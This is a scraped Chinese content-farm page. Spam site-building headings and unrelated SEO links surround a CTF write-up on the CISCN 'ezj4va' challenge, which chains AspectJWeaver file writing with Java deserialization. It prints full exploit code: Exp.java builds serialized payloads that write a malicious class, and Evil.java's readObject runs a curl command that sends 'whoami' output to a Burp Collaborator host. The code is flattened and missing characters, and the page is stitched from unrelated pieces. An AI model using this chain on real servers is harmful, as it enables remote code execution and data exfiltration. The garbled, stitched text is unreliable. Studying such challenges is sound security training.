当前位置: 首页 > news >正文

辽宁市场网站建设销售网站选服务器文件

辽宁市场网站建设销售,网站选服务器文件,商标购买网站,广西网站制作公司目录 前言 原理分析 step 0 step 1 EXP 前文#xff1a;【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-CSDN博客 前言 这就是当年传说中的零解题嘛#x1f62d;#xff0c;快做#x1f92e;了 有了之前的经验#xff0c;思路顺挺快的#xff0c;中间不…目录 前言 原理分析 step 0 step 1 EXP 前文【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-CSDN博客 前言 这就是当年传说中的零解题嘛快做了 有了之前的经验思路顺挺快的中间不知道为啥一直一直一直一直报错耗了一个下午总算打通 考的是AspectJWeaver写恶意字节码到靶机上(本题jsp靶机不解析)再去对其进行反序列化 值得一提的是本题并未在输入流进行黑名单过滤事实上就是纯粹的原生反序列化但因该jdk下无利用链可打所以只能先迂回写入一个恶意类再对这个恶意类进行反序列化操作实在是巧思 原理分析 step 0 先看pom依赖 当时是2021年Y4还没有公开fj原生反序列化的姿势所以可以排除( 自然关注的重点会落在AspectJWeaver上其可以实现任意文件写入(具体细节请看最开始给的文章不作赘述) 问题是文章里给的姿势是利用CC依赖下LazyMap#get触发StoreableCachingMap#put从而写文件的题目没有给CC依赖怎么破呢 自然是要去利用题目自定义的类的哇这里暂按下不表 此外拿到源码后我们知晓了靶机的目录结构方便我们后续利用 step 1 再来看路由 /cart/add 接受skus和cart两个参数然后作为入参调用cartService.addToCart addToCart方法就是对传入数据分别进行原生反序列化将cart的SkuDescribe属性作为Map将toAdd的SkuDescibe属性作为entry并分别取其K V对put进Map中 如果令Map为精心构造folder属性的StoreableCachingMapK V分别为恶意文件名和恶意字节码文件内容的话我们就可以在靶机写入任意恶意字节码文件属实太妙了(具体请看EXP构造) 再看/cart/query路由 对由cookie传入的cart值进行cartService#query操作 这里其实就是直接进行反序列化操作了但题目的jdk下并没有原生反序列化的链子所以我们无法直接进行利用只能多走一步去反序列化我们写入的恶意类 思路并不复杂话休絮烦直接给EXP EXP EXP.java package ciscn.fina1.ezj4va;import ciscn.fina1.ezj4va.domain.Cart; import ciscn.fina1.ezj4va.utils.Serializer; import javassist.ClassPool; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap;public class Exp {protected static String getSkus() {try {Cart cart new Cart();Field sku_f cart.getClass().getDeclaredField(skuDescribe);sku_f.setAccessible(true);HashMap hashMap new HashMap();String bytes Base64.getEncoder().encodeToString(ClassPool.getDefault().get(Evil.class.getName()).toBytecode());hashMap.put(Evil.class, Base64.getDecoder().decode(bytes));sku_f.set(cart, hashMap);return Serializer.serialize(cart);} catch (Exception e) {e.printStackTrace();}return ;}protected static String getOldCart() {try {Cart cart new Cart();Field sku_f cart.getClass().getDeclaredField(skuDescribe);sku_f.setAccessible(true);Class clazz Class.forName(org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap);Constructor constructor clazz.getDeclaredConstructors()[0];constructor.setAccessible(true);Object o constructor.newInstance(/ctf/ezj4va/app/target/classes/ciscn/fina1/ezj4va, 1);sku_f.set(cart, o);return Serializer.serialize(cart);} catch (Exception e) {e.printStackTrace();}return ;}public static void main(String[] args) throws Exception {String oldCartStr getOldCart();String skus getSkus();Evil evil new Evil();System.out.println(oldCartStr);System.out.println(skus);System.out.println(Serializer.serialize(evil));} }Evil.java package ciscn.fina1.ezj4va;import java.io.Serializable;public class Evil implements Serializable {private void readObject(java.io.ObjectInputStream s) throws Exception{Runtime.getRuntime().exec(new String[]{/bin/sh,-c,curl http://lpe59sb790s5tlrgmet6za2aj1psdh.burpcollaborator.net?awhoami});} } 先访问/cart/add写入恶意字节码文件  再访问/cart/query来反序列化利用写入的恶意类  用bp起一个dnslog来外带数据
http://www.w-s-a.com/news/471626/

相关文章:

  • 怎么到国外网站去接模具订单做互联网建设企业网站
  • 深圳品牌网站建设公司排名洪雅网站建设
  • nodejs 做网站wordpress主题绕过激活码
  • 平湖模板网站建设公司网页美工培训
  • 顺德网站建设市场建设工程交易中心网站
  • 深圳企业网站怎么做浪琴手表网站建设图
  • 2018网站外链怎么做济南 网站设计公司
  • 承德百度网站建设郑州网站seo优化公司
  • 四川建站模板网站公司分类信息网站制作
  • 网站开发前后端有wordpress模板安装教程视频教程
  • 有网站想修改里面的内容怎么做怎么做黑彩黑彩网站
  • 什么专业会做网站网站建设续费合同
  • 网站开发的项目开发网站做直播功能需要注册吗
  • 网站开发新手什么软件好网站设计师和ui设计师
  • 太仓苏州网站建设软件开发网站建设
  • 一个虚拟主机做2个网站吗工信部怎么查网站备案
  • 本地网站做淘宝客制作app步骤
  • 关于企业网站建设网页布局怎么设计
  • 惠州市网站设计公司裴东莞嘘网站汉建设
  • 长葛网站建站电子商务网站是什么
  • 泉做网站的公司太原网站建设开发公司
  • wordpress菜单栏的函数调用迅速上排名网站优化
  • 网站深圳广西模板厂哪家价格低
  • 搜索网站显示网页无法访问最好的网站推广
  • 巴彦淖尔市百家姓网站建设搬瓦工暗转wordpress
  • 温州鹿城区企业网站搭建云虚拟机
  • 网站的开发方法php网站商城源码
  • 旅游找什么网站好维护公司网站建设
  • 长春市长春网站制作站优化杭州企业推广网站
  • 网站建设开发设计营销公司山东网信办抓好网站建设